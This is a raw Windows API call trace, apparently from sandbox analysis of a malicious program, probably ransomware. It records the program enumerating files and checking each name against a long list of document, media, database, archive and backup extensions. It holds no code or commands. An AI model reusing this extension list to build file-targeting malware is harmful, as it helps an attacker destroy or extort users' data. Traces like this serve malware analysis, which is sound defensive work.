	[0180.145] lstrlenW (lpString=".pptm") returned 5
	[0180.145] lstrcmpiW (lpString1=".pptm", lpString2="e.mui") returned -1
	[0180.145] lstrlenW (lpString=".pptx") returned 5
	[0180.145] lstrcmpiW (lpString1=".pptx", lpString2="e.mui") returned -1
	[0180.146] lstrlenW (lpString=".prn") returned 4
	[0180.146] lstrcmpiW (lpString1=".prn", lpString2=".mui") returned 1
	[0180.146] lstrlenW (lpString=".ps") returned 3
	[0180.146] lstrcmpiW (lpString1=".ps", lpString2="mui") returned -1
	[0180.146] lstrlenW (lpString=".psb") returned 4
	[0180.146] lstrcmpiW (lpString1=".psb", lpString2=".mui") returned 1
	[0180.146] lstrlenW (lpString=".psd") returned 4
	[0180.146] lstrcmpiW (lpString1=".psd", lpString2=".mui") returned 1
	[0180.146] lstrlenW (lpString=".pst") returned 4
	[0180.146] lstrcmpiW (lpString1=".pst", lpString2=".mui") returned 1
	[0180.146] lstrlenW (lpString=".ptx") returned 4
	[0180.146] lstrcmpiW (lpString1=".ptx", lpString2=".mui") returned 1
	[0180.146] lstrlenW (lpString=".pub") returned 4
	[0180.146] lstrcmpiW (lpString1=".pub", lpString2=".mui") returned 1
	[0180.146] lstrlenW (lpString=".pwm") returned 4
	[0180.146] lstrcmpiW (lpString1=".pwm", lpString2=".mui") returned 1
	[0180.146] lstrlenW (lpString=".pxr") returned 4
	[0180.146] lstrcmpiW (lpString1=".pxr", lpString2=".mui") returned 1
	[0180.146] lstrlenW (lpString=".py") returned 3
	[0180.146] lstrcmpiW (lpString1=".py", lpString2="mui") returned -1
	[0180.146] lstrlenW (lpString=".qt") returned 3
	[0180.146] lstrcmpiW (lpString1=".qt", lpString2="mui") returned -1
	[0180.146] lstrlenW (lpString=".r3d") returned 4
	[0180.146] lstrcmpiW (lpString1=".r3d", lpString2=".mui") returned 1
	[0180.146] lstrlenW (lpString=".raf") returned 4
	[0180.146] lstrcmpiW (lpString1=".raf", lpString2=".mui") returned 1
	[0180.146] lstrlenW (lpString=".rar") returned 4
	[0180.146] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0180.146] lstrlenW (lpString=".raw") returned 4
	[0180.146] lstrcmpiW (lpString1=".raw", lpString2=".mui") returned 1
	[0180.147] FindNextFileW (in: hFindFile=0x76eb28, lpFindFileData=0x372f584 | out: lpFindFileData=0x372f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ea3c949, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7f0f18af, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xc321b00, ftLastWriteTime.dwHighDateTime=0x1d29fab, nFileSizeHigh=0x0, nFileSizeLow=0x8000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ProtectionManagement.dll.mui", cAlternateFileName="")) returned 1
	[0180.147] FindNextFileW (in: hFindFile=0x76eb28, lpFindFileData=0x372f584 | out: lpFindFileData=0x372f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ea3c949, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x9063ce53, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xc321b00, ftLastWriteTime.dwHighDateTime=0x1d29fab, nFileSizeHigh=0x0, nFileSizeLow=0x13c34, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ProtectionManagement.mfl", cAlternateFileName="")) returned 1
	[0180.147] FindNextFileW (in: hFindFile=0x76eb28, lpFindFileData=0x372f584 | out: lpFindFileData=0x372f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ea3c949, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7f0f18af, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xc321b00, ftLastWriteTime.dwHighDateTime=0x1d29fab, nFileSizeHigh=0x0, nFileSizeLow=0x45e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ProtectionManagement_Uninstall.mfl", cAlternateFileName="")) returned 1
	[0180.147] FindNextFileW (in: hFindFile=0x76eb28, lpFindFileData=0x372f584 | out: lpFindFileData=0x372f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ea62ba2, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7f0f18af, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x67afd900, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="shellext.dll.mui", cAlternateFileName="")) returned 1
	[0180.148] FindNextFileW (in: hFindFile=0x76eb28, lpFindFileData=0x372f584 | out: lpFindFileData=0x372f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ea62ba2, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7f0f18af, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x67afd900, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="shellext.dll.mui", cAlternateFileName="")) returned 0
	[0180.148] FindClose (in: hFindFile=0x76eb28 | out: hFindFile=0x76eb28) returned 1
	[0180.148] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4110000 | out: hHeap=0x710000) returned 1
	[0180.149] FindNextFileW (in: hFindFile=0x76e6e8, lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26a5b2a5, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x26a5b2a5, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x26a5b2a5, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xb2fa0, dwReserved0=0x0, dwReserved1=0x0, cFileName="EppManifest.dll", cAlternateFileName="")) returned 1
	[0180.149] lstrlenW (lpString="EppManifest.dll") returned 15
	[0180.149] lstrlenW (lpString=".1cd") returned 4
	[0180.149] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0180.149] lstrlenW (lpString=".3ds") returned 4
	[0180.149] lstrcmpiW (lpString1=".3ds", lpString2=".dll") returned -1
	[0180.149] lstrlenW (lpString=".3fr") returned 4
	[0180.149] lstrcmpiW (lpString1=".3fr", lpString2=".dll") returned -1
	[0180.149] lstrlenW (lpString=".3g2") returned 4
	[0180.149] lstrcmpiW (lpString1=".3g2", lpString2=".dll") returned -1
	[0180.149] lstrlenW (lpString=".3gp") returned 4
	[0180.149] lstrcmpiW (lpString1=".3gp", lpString2=".dll") returned -1
	[0180.149] lstrlenW (lpString=".7z") returned 3
	[0180.149] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0180.149] lstrlenW (lpString=".accda") returned 6
	[0180.149] lstrcmpiW (lpString1=".accda", lpString2="st.dll") returned -1
	[0180.149] lstrlenW (lpString=".accdb") returned 6
	[0180.149] lstrcmpiW (lpString1=".accdb", lpString2="st.dll") returned -1
	[0180.149] lstrlenW (lpString=".accdc") returned 6
	[0180.149] lstrcmpiW (lpString1=".accdc", lpString2="st.dll") returned -1
	[0180.149] lstrlenW (lpString=".accde") returned 6
	[0180.149] lstrcmpiW (lpString1=".accde", lpString2="st.dll") returned -1
	[0180.149] lstrlenW (lpString=".accdt") returned 6
	[0180.149] lstrcmpiW (lpString1=".accdt", lpString2="st.dll") returned -1
	[0180.149] lstrlenW (lpString=".accdw") returned 6
	[0180.149] lstrcmpiW (lpString1=".accdw", lpString2="st.dll") returned -1
	[0180.149] lstrlenW (lpString=".adb") returned 4
	[0180.181] lstrcmpiW (lpString1=".adb", lpString2=".dll") returned -1
	[0180.181] lstrlenW (lpString=".adp") returned 4
	[0180.181] lstrcmpiW (lpString1=".adp", lpString2=".dll") returned -1
	[0180.181] lstrlenW (lpString=".ai") returned 3
	[0180.181] lstrcmpiW (lpString1=".ai", lpString2="dll") returned -1
	[0180.181] lstrlenW (lpString=".ai3") returned 4
	[0180.181] lstrcmpiW (lpString1=".ai3", lpString2=".dll") returned -1
	[0180.181] lstrlenW (lpString=".ai4") returned 4
	[0180.182] lstrcmpiW (lpString1=".ai4", lpString2=".dll") returned -1
	[0180.182] lstrlenW (lpString=".ai5") returned 4
	[0180.182] lstrcmpiW (lpString1=".ai5", lpString2=".dll") returned -1
	[0180.182] lstrlenW (lpString=".ai6") returned 4
	[0180.182] lstrcmpiW (lpString1=".ai6", lpString2=".dll") returned -1
	[0180.182] lstrlenW (lpString=".ai7") returned 4
	[0180.182] lstrcmpiW (lpString1=".ai7", lpString2=".dll") returned -1
	[0180.182] lstrlenW (lpString=".ai8") returned 4
	[0180.182] lstrcmpiW (lpString1=".ai8", lpString2=".dll") returned -1
	[0180.182] lstrlenW (lpString=".anim") returned 5
	[0180.182] lstrcmpiW (lpString1=".anim", lpString2="t.dll") returned -1
	[0180.182] lstrlenW (lpString=".arw") returned 4
	[0180.182] lstrcmpiW (lpString1=".arw", lpString2=".dll") returned -1
	[0180.182] lstrlenW (lpString=".as") returned 3
	[0180.182] lstrcmpiW (lpString1=".as", lpString2="dll") returned -1
	[0180.182] lstrlenW (lpString=".asa") returned 4
	[0180.182] lstrcmpiW (lpString1=".asa", lpString2=".dll") returned -1
	[0180.182] lstrlenW (lpString=".asc") returned 4
	[0180.182] lstrcmpiW (lpString1=".asc", lpString2=".dll") returned -1
	[0180.182] lstrlenW (lpString=".ascx") returned 5
	[0180.182] lstrcmpiW (lpString1=".ascx", lpString2="t.dll") returned -1
	[0180.182] lstrlenW (lpString=".asm") returned 4
	[0180.182] lstrcmpiW (lpString1=".asm", lpString2=".dll") returned -1
	[0180.182] lstrlenW (lpString=".asmx") returned 5
	[0180.182] lstrcmpiW (lpString1=".asmx", lpString2="t.dll") returned -1
	[0180.182] lstrlenW (lpString=".asp") returned 4
	[0180.182] lstrcmpiW (lpString1=".asp", lpString2=".dll") returned -1
	[0180.183] lstrlenW (lpString=".aspx") returned 5
	[0180.183] lstrcmpiW (lpString1=".aspx", lpString2="t.dll") returned -1
	[0180.183] lstrlenW (lpString=".asr") returned 4
	[0180.183] lstrcmpiW (lpString1=".asr", lpString2=".dll") returned -1
	[0180.183] lstrlenW (lpString=".asx") returned 4
	[0180.183] lstrcmpiW (lpString1=".asx", lpString2=".dll") returned -1
	[0180.183] lstrlenW (lpString=".avi") returned 4
	[0180.183] lstrcmpiW (lpString1=".avi", lpString2=".dll") returned -1
	[0180.183] lstrlenW (lpString=".avs") returned 4
	[0180.183] lstrcmpiW (lpString1=".avs", lpString2=".dll") returned -1
	[0180.183] lstrlenW (lpString=".backup") returned 7
	[0180.183] lstrcmpiW (lpString1=".backup", lpString2="est.dll") returned -1
	[0180.183] lstrlenW (lpString=".bak") returned 4
	[0180.183] lstrcmpiW (lpString1=".bak", lpString2=".dll") returned -1
	[0180.183] lstrlenW (lpString=".bay") returned 4
	[0180.183] lstrcmpiW (lpString1=".bay", lpString2=".dll") returned -1
	[0180.183] lstrlenW (lpString=".bd") returned 3
	[0180.183] lstrcmpiW (lpString1=".bd", lpString2="dll") returned -1
	[0180.183] lstrlenW (lpString=".bin") returned 4
	[0180.183] lstrcmpiW (lpString1=".bin", lpString2=".dll") returned -1
	[0180.183] lstrlenW (lpString=".bmp") returned 4
	[0180.183] lstrcmpiW (lpString1=".bmp", lpString2=".dll") returned -1
	[0180.183] lstrlenW (lpString=".bz2") returned 4
	[0180.183] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0180.183] lstrlenW (lpString=".c") returned 2
	[0180.183] lstrcmpiW (lpString1=".c", lpString2="ll") returned -1
	[0180.183] lstrlenW (lpString=".cdr") returned 4
	[0180.183] lstrcmpiW (lpString1=".cdr", lpString2=".dll") returned -1
	[0180.183] lstrlenW (lpString=".cer") returned 4
	[0180.183] lstrcmpiW (lpString1=".cer", lpString2=".dll") returned -1
	[0180.183] lstrlenW (lpString=".cf") returned 3
	[0180.184] lstrcmpiW (lpString1=".cf", lpString2="dll") returned -1
	[0180.184] lstrlenW (lpString=".cfc") returned 4
	[0180.184] lstrcmpiW (lpString1=".cfc", lpString2=".dll") returned -1
	[0180.184] lstrlenW (lpString=".cfm") returned 4
	[0180.184] lstrcmpiW (lpString1=".cfm", lpString2=".dll") returned -1
	[0180.184] lstrlenW (lpString=".cfml") returned 5
	[0180.184] lstrcmpiW (lpString1=".cfml", lpString2="t.dll") returned -1
	[0180.184] lstrlenW (lpString=".cfu") returned 4
	[0180.184] lstrcmpiW (lpString1=".cfu", lpString2=".dll") returned -1
	[0180.184] lstrlenW (lpString=".chm") returned 4
	[0180.184] lstrcmpiW (lpString1=".chm", lpString2=".dll") returned -1
	[0180.184] lstrlenW (lpString=".cin") returned 4
	[0180.184] lstrcmpiW (lpString1=".cin", lpString2=".dll") returned -1
	[0180.184] lstrlenW (lpString=".class") returned 6
	[0180.184] lstrcmpiW (lpString1=".class", lpString2="st.dll") returned -1
	[0180.184] lstrlenW (lpString=".clx") returned 4
	[0180.184] lstrcmpiW (lpString1=".clx", lpString2=".dll") returned -1
	[0180.184] lstrlenW (lpString=".config") returned 7
	[0180.184] lstrcmpiW (lpString1=".config", lpString2="est.dll") returned -1
	[0180.184] lstrlenW (lpString=".cpp") returned 4
	[0180.184] lstrcmpiW (lpString1=".cpp", lpString2=".dll") returned -1
	[0180.184] lstrlenW (lpString=".cr2") returned 4
	[0180.184] lstrcmpiW (lpString1=".cr2", lpString2=".dll") returned -1
	[0180.184] lstrlenW (lpString=".crt") returned 4
	[0180.184] lstrcmpiW (lpString1=".crt", lpString2=".dll") returned -1
	[0180.184] lstrlenW (lpString=".crw") returned 4
	[0180.185] lstrcmpiW (lpString1=".crw", lpString2=".dll") returned -1
	[0180.185] lstrlenW (lpString=".cs") returned 3
	[0180.185] lstrcmpiW (lpString1=".cs", lpString2="dll") returned -1
	[0180.185] lstrlenW (lpString=".css") returned 4
	[0180.185] lstrcmpiW (lpString1=".css", lpString2=".dll") returned -1
	[0180.185] lstrlenW (lpString=".csv") returned 4
	[0180.185] lstrcmpiW (lpString1=".csv", lpString2=".dll") returned -1
	[0180.185] lstrlenW (lpString=".cub") returned 4
	[0180.185] lstrcmpiW (lpString1=".cub", lpString2=".dll") returned -1
	[0180.185] lstrlenW (lpString=".dae") returned 4
	[0180.185] lstrcmpiW (lpString1=".dae", lpString2=".dll") returned -1
	[0180.185] lstrlenW (lpString=".dat") returned 4
	[0180.185] lstrcmpiW (lpString1=".dat", lpString2=".dll") returned -1
	[0180.185] lstrlenW (lpString=".db") returned 3
	[0180.185] lstrcmpiW (lpString1=".db", lpString2="dll") returned -1
	[0180.185] lstrlenW (lpString=".dbf") returned 4
	[0180.185] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0180.185] lstrlenW (lpString=".dbx") returned 4
	[0180.185] lstrcmpiW (lpString1=".dbx", lpString2=".dll") returned -1
	[0180.185] lstrlenW (lpString=".dc3") returned 4
	[0180.185] lstrcmpiW (lpString1=".dc3", lpString2=".dll") returned -1
	[0180.185] lstrlenW (lpString=".dcm") returned 4
	[0180.185] lstrcmpiW (lpString1=".dcm", lpString2=".dll") returned -1
	[0180.185] lstrlenW (lpString=".dcr") returned 4
	[0180.185] lstrcmpiW (lpString1=".dcr", lpString2=".dll") returned -1
	[0180.185] lstrlenW (lpString=".der") returned 4
	[0180.185] lstrcmpiW (lpString1=".der", lpString2=".dll") returned -1
	[0180.185] lstrlenW (lpString=".dib") returned 4
	[0180.185] lstrcmpiW (lpString1=".dib", lpString2=".dll") returned -1
	[0180.185] lstrlenW (lpString=".dic") returned 4
	[0180.185] lstrcmpiW (lpString1=".dic", lpString2=".dll") returned -1
	[0180.186] lstrlenW (lpString=".dif") returned 4
	[0180.186] lstrcmpiW (lpString1=".dif", lpString2=".dll") returned -1
	[0180.186] lstrlenW (lpString=".divx") returned 5
	[0180.186] lstrcmpiW (lpString1=".divx", lpString2="t.dll") returned -1
	[0180.186] lstrlenW (lpString=".djvu") returned 5
	[0180.186] lstrcmpiW (lpString1=".djvu", lpString2="t.dll") returned -1
	[0180.186] lstrlenW (lpString=".dng") returned 4
	[0180.186] lstrcmpiW (lpString1=".dng", lpString2=".dll") returned 1
	[0180.186] lstrlenW (lpString=".doc") returned 4
	[0180.186] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0180.186] lstrlenW (lpString=".docm") returned 5
	[0180.186] lstrcmpiW (lpString1=".docm", lpString2="t.dll") returned -1
	[0180.186] lstrlenW (lpString=".docx") returned 5
	[0180.186] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1
	[0180.186] lstrlenW (lpString=".dot") returned 4
	[0180.186] lstrcmpiW (lpString1=".dot", lpString2=".dll") returned 1
	[0180.186] lstrlenW (lpString=".dotm") returned 5
	[0180.186] lstrcmpiW (lpString1=".dotm", lpString2="t.dll") returned -1
	[0180.186] lstrlenW (lpString=".dotx") returned 5
	[0180.186] lstrcmpiW (lpString1=".dotx", lpString2="t.dll") returned -1
	[0180.186] lstrlenW (lpString=".dpx") returned 4
	[0180.186] lstrcmpiW (lpString1=".dpx", lpString2=".dll") returned 1
	[0180.186] lstrlenW (lpString=".dqy") returned 4
	[0180.186] lstrcmpiW (lpString1=".dqy", lpString2=".dll") returned 1
	[0180.186] lstrlenW (lpString=".dsn") returned 4
	[0180.186] lstrcmpiW (lpString1=".dsn", lpString2=".dll") returned 1
	[0180.186] lstrlenW (lpString=".dt") returned 3
	[0180.186] lstrcmpiW (lpString1=".dt", lpString2="dll") returned -1
	[0180.186] lstrlenW (lpString=".dtd") returned 4
	[0180.186] lstrcmpiW (lpString1=".dtd", lpString2=".dll") returned 1
	[0180.186] lstrlenW (lpString=".dwg") returned 4
	[0180.187] lstrcmpiW (lpString1=".dwg", lpString2=".dll") returned 1
	[0180.187] lstrlenW (lpString=".dwt") returned 4
	[0180.187] lstrcmpiW (lpString1=".dwt", lpString2=".dll") returned 1
	[0180.187] lstrlenW (lpString=".dx") returned 3
	[0180.187] lstrcmpiW (lpString1=".dx", lpString2="dll") returned -1
	[0180.187] lstrlenW (lpString=".dxf") returned 4
	[0180.187] lstrcmpiW (lpString1=".dxf", lpString2=".dll") returned 1
	[0180.187] lstrlenW (lpString=".edml") returned 5
	[0180.187] lstrcmpiW (lpString1=".edml", lpString2="t.dll") returned -1
	[0180.187] lstrlenW (lpString=".efd") returned 4
	[0180.187] lstrcmpiW (lpString1=".efd", lpString2=".dll") returned 1
	[0180.187] lstrlenW (lpString=".elf") returned 4
	[0180.187] lstrcmpiW (lpString1=".elf", lpString2=".dll") returned 1
	[0180.187] lstrlenW (lpString=".emf") returned 4
	[0180.187] lstrcmpiW (lpString1=".emf", lpString2=".dll") returned 1
	[0180.187] lstrlenW (lpString=".emz") returned 4
	[0180.187] lstrcmpiW (lpString1=".emz", lpString2=".dll") returned 1
	[0180.187] lstrlenW (lpString=".epf") returned 4
	[0180.187] lstrcmpiW (lpString1=".epf", lpString2=".dll") returned 1
	[0180.187] lstrlenW (lpString=".eps") returned 4
	[0180.187] lstrcmpiW (lpString1=".eps", lpString2=".dll") returned 1
	[0180.187] lstrlenW (lpString=".epsf") returned 5
	[0180.187] lstrcmpiW (lpString1=".epsf", lpString2="t.dll") returned -1
	[0180.187] lstrlenW (lpString=".epsp") returned 5
	[0180.187] lstrcmpiW (lpString1=".epsp", lpString2="t.dll") returned -1
	[0180.187] lstrlenW (lpString=".erf") returned 4
	[0180.187] lstrcmpiW (lpString1=".erf", lpString2=".dll") returned 1
	[0180.187] lstrlenW (lpString=".exr") returned 4
	[0180.187] lstrcmpiW (lpString1=".exr", lpString2=".dll") returned 1
	[0180.187] lstrlenW (lpString=".f4v") returned 4
	[0180.188] lstrcmpiW (lpString1=".f4v", lpString2=".dll") returned 1
	[0180.188] lstrlenW (lpString=".fido") returned 5
	[0180.188] lstrcmpiW (lpString1=".fido", lpString2="t.dll") returned -1
	[0180.188] lstrlenW (lpString=".flm") returned 4
	[0180.188] lstrcmpiW (lpString1=".flm", lpString2=".dll") returned 1
	[0180.188] lstrlenW (lpString=".flv") returned 4
	[0180.188] lstrcmpiW (lpString1=".flv", lpString2=".dll") returned 1
	[0180.188] lstrlenW (lpString=".frm") returned 4
	[0180.188] lstrcmpiW (lpString1=".frm", lpString2=".dll") returned 1
	[0180.188] lstrlenW (lpString=".fxg") returned 4
	[0180.188] lstrcmpiW (lpString1=".fxg", lpString2=".dll") returned 1
	[0180.188] lstrlenW (lpString=".geo") returned 4
	[0180.188] lstrcmpiW (lpString1=".geo", lpString2=".dll") returned 1
	[0180.188] lstrlenW (lpString=".gif") returned 4
	[0180.188] lstrcmpiW (lpString1=".gif", lpString2=".dll") returned 1
	[0180.188] lstrlenW (lpString=".grs") returned 4
	[0180.188] lstrcmpiW (lpString1=".grs", lpString2=".dll") returned 1
	[0180.188] lstrlenW (lpString=".gz") returned 3
	[0180.188] lstrcmpiW (lpString1=".gz", lpString2="dll") returned -1
	[0180.188] lstrlenW (lpString=".h") returned 2
	[0180.188] lstrcmpiW (lpString1=".h", lpString2="ll") returned -1
	[0180.188] lstrlenW (lpString=".hdr") returned 4
	[0180.188] lstrcmpiW (lpString1=".hdr", lpString2=".dll") returned 1
	[0180.188] lstrlenW (lpString=".hpp") returned 4
	[0180.188] lstrcmpiW (lpString1=".hpp", lpString2=".dll") returned 1
	[0180.188] lstrlenW (lpString=".hta") returned 4
	[0180.188] lstrcmpiW (lpString1=".hta", lpString2=".dll") returned 1
	[0180.188] lstrlenW (lpString=".htc") returned 4
	[0180.188] lstrcmpiW (lpString1=".htc", lpString2=".dll") returned 1
	[0180.189] lstrlenW (lpString=".htm") returned 4
	[0180.189] lstrcmpiW (lpString1=".htm", lpString2=".dll") returned 1
	[0180.189] lstrlenW (lpString=".html") returned 5
	[0180.189] lstrcmpiW (lpString1=".html", lpString2="t.dll") returned -1
	[0180.189] lstrlenW (lpString=".icb") returned 4
	[0180.189] lstrcmpiW (lpString1=".icb", lpString2=".dll") returned 1
	[0180.189] lstrlenW (lpString=".ics") returned 4
	[0180.189] lstrcmpiW (lpString1=".ics", lpString2=".dll") returned 1
	[0180.189] lstrlenW (lpString=".iff") returned 4
	[0180.189] lstrcmpiW (lpString1=".iff", lpString2=".dll") returned 1
	[0180.189] lstrlenW (lpString=".inc") returned 4
	[0180.189] lstrcmpiW (lpString1=".inc", lpString2=".dll") returned 1
	[0180.189] lstrlenW (lpString=".indd") returned 5
	[0180.189] lstrcmpiW (lpString1=".indd", lpString2="t.dll") returned -1
	[0180.189] lstrlenW (lpString=".ini") returned 4
	[0180.189] lstrcmpiW (lpString1=".ini", lpString2=".dll") returned 1
	[0180.189] lstrlenW (lpString=".iqy") returned 4
	[0180.189] lstrcmpiW (lpString1=".iqy", lpString2=".dll") returned 1
	[0180.189] lstrlenW (lpString=".j2c") returned 4
	[0180.189] lstrcmpiW (lpString1=".j2c", lpString2=".dll") returned 1
	[0180.189] lstrlenW (lpString=".j2k") returned 4
	[0180.189] lstrcmpiW (lpString1=".j2k", lpString2=".dll") returned 1
	[0180.189] lstrlenW (lpString=".java") returned 5
	[0180.189] lstrcmpiW (lpString1=".java", lpString2="t.dll") returned -1
	[0180.189] lstrlenW (lpString=".jp2") returned 4
	[0180.189] lstrcmpiW (lpString1=".jp2", lpString2=".dll") returned 1
	[0180.189] lstrlenW (lpString=".jpc") returned 4
	[0180.189] lstrcmpiW (lpString1=".jpc", lpString2=".dll") returned 1
	[0180.189] lstrlenW (lpString=".jpe") returned 4
	[0180.189] lstrcmpiW (lpString1=".jpe", lpString2=".dll") returned 1
	[0180.189] lstrlenW (lpString=".jpeg") returned 5
	[0180.189] lstrcmpiW (lpString1=".jpeg", lpString2="t.dll") returned -1
	[0180.190] lstrlenW (lpString=".jpf") returned 4
	[0180.190] lstrcmpiW (lpString1=".jpf", lpString2=".dll") returned 1
	[0180.190] lstrlenW (lpString=".jpg") returned 4
	[0180.190] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0180.190] lstrlenW (lpString=".jpx") returned 4
	[0180.190] lstrcmpiW (lpString1=".jpx", lpString2=".dll") returned 1
	[0180.190] lstrlenW (lpString=".js") returned 3
	[0180.190] lstrcmpiW (lpString1=".js", lpString2="dll") returned -1
	[0180.190] lstrlenW (lpString=".jsf") returned 4
	[0180.190] lstrcmpiW (lpString1=".jsf", lpString2=".dll") returned 1
	[0180.190] lstrlenW (lpString=".json") returned 5
	[0180.190] lstrcmpiW (lpString1=".json", lpString2="t.dll") returned -1
	[0180.190] lstrlenW (lpString=".jsp") returned 4
	[0180.190] lstrcmpiW (lpString1=".jsp", lpString2=".dll") returned 1
	[0180.190] lstrlenW (lpString=".kdc") returned 4
	[0180.190] lstrcmpiW (lpString1=".kdc", lpString2=".dll") returned 1
	[0180.190] lstrlenW (lpString=".kmz") returned 4
	[0180.190] lstrcmpiW (lpString1=".kmz", lpString2=".dll") returned 1
	[0180.190] lstrlenW (lpString=".kwm") returned 4
	[0180.190] lstrcmpiW (lpString1=".kwm", lpString2=".dll") returned 1
	[0180.190] lstrlenW (lpString=".lasso") returned 6
	[0180.190] lstrcmpiW (lpString1=".lasso", lpString2="st.dll") returned -1
	[0180.190] lstrlenW (lpString=".lbi") returned 4
	[0180.190] lstrcmpiW (lpString1=".lbi", lpString2=".dll") returned 1
	[0180.190] lstrlenW (lpString=".lgf") returned 4
	[0180.190] lstrcmpiW (lpString1=".lgf", lpString2=".dll") returned 1
	[0180.190] lstrlenW (lpString=".lgp") returned 4
	[0180.190] lstrcmpiW (lpString1=".lgp", lpString2=".dll") returned 1
	[0180.190] lstrlenW (lpString=".log") returned 4
	[0180.190] lstrcmpiW (lpString1=".log", lpString2=".dll") returned 1
	[0180.191] lstrlenW (lpString=".m1v") returned 4
	[0180.191] lstrcmpiW (lpString1=".m1v", lpString2=".dll") returned 1
	[0180.191] lstrlenW (lpString=".m4a") returned 4
	[0180.191] lstrcmpiW (lpString1=".m4a", lpString2=".dll") returned 1
	[0180.191] lstrlenW (lpString=".m4v") returned 4
	[0180.191] lstrcmpiW (lpString1=".m4v", lpString2=".dll") returned 1
	[0180.191] lstrlenW (lpString=".max") returned 4
	[0180.191] lstrcmpiW (lpString1=".max", lpString2=".dll") returned 1
	[0180.191] lstrlenW (lpString=".md") returned 3
	[0180.191] lstrcmpiW (lpString1=".md", lpString2="dll") returned -1
	[0180.191] lstrlenW (lpString=".mda") returned 4
	[0180.191] lstrcmpiW (lpString1=".mda", lpString2=".dll") returned 1
	[0180.191] lstrlenW (lpString=".mdb") returned 4
	[0180.191] lstrcmpiW (lpString1=".mdb", lpString2=".dll") returned 1
	[0180.191] lstrlenW (lpString=".mde") returned 4
	[0180.191] lstrcmpiW (lpString1=".mde", lpString2=".dll") returned 1
	[0180.191] lstrlenW (lpString=".mdf") returned 4
	[0180.191] lstrcmpiW (lpString1=".mdf", lpString2=".dll") returned 1
	[0180.191] lstrlenW (lpString=".mdw") returned 4
	[0180.191] lstrcmpiW (lpString1=".mdw", lpString2=".dll") returned 1
	[0180.191] lstrlenW (lpString=".mef") returned 4
	[0180.191] lstrcmpiW (lpString1=".mef", lpString2=".dll") returned 1
	[0180.191] lstrlenW (lpString=".mft") returned 4
	[0180.191] lstrcmpiW (lpString1=".mft", lpString2=".dll") returned 1
	[0180.191] lstrlenW (lpString=".mfw") returned 4
	[0180.191] lstrcmpiW (lpString1=".mfw", lpString2=".dll") returned 1
	[0180.191] lstrlenW (lpString=".mht") returned 4
	[0180.191] lstrcmpiW (lpString1=".mht", lpString2=".dll") returned 1
	[0180.191] lstrlenW (lpString=".mhtml") returned 6
	[0180.191] lstrcmpiW (lpString1=".mhtml", lpString2="st.dll") returned -1
	[0180.191] lstrlenW (lpString=".mka") returned 4
	[0180.192] lstrcmpiW (lpString1=".mka", lpString2=".dll") returned 1
	[0180.192] lstrlenW (lpString=".mkidx") returned 6
	[0180.192] lstrcmpiW (lpString1=".mkidx", lpString2="st.dll") returned -1
	[0180.192] lstrlenW (lpString=".mkv") returned 4
	[0180.192] lstrcmpiW (lpString1=".mkv", lpString2=".dll") returned 1
	[0180.192] lstrlenW (lpString=".mos") returned 4
	[0180.192] lstrcmpiW (lpString1=".mos", lpString2=".dll") returned 1
	[0180.192] lstrlenW (lpString=".mov") returned 4
	[0180.192] lstrcmpiW (lpString1=".mov", lpString2=".dll") returned 1
	[0180.192] lstrlenW (lpString=".mp3") returned 4
	[0180.192] lstrcmpiW (lpString1=".mp3", lpString2=".dll") returned 1
	[0180.192] lstrlenW (lpString=".mp4") returned 4
	[0180.192] lstrcmpiW (lpString1=".mp4", lpString2=".dll") returned 1
	[0180.192] lstrlenW (lpString=".mpeg") returned 5
	[0180.192] lstrcmpiW (lpString1=".mpeg", lpString2="t.dll") returned -1
	[0180.192] lstrlenW (lpString=".mpg") returned 4
	[0180.192] lstrcmpiW (lpString1=".mpg", lpString2=".dll") returned 1
	[0180.192] lstrlenW (lpString=".mpv") returned 4
	[0180.192] lstrcmpiW (lpString1=".mpv", lpString2=".dll") returned 1
	[0180.192] lstrlenW (lpString=".mrw") returned 4
	[0180.192] lstrcmpiW (lpString1=".mrw", lpString2=".dll") returned 1
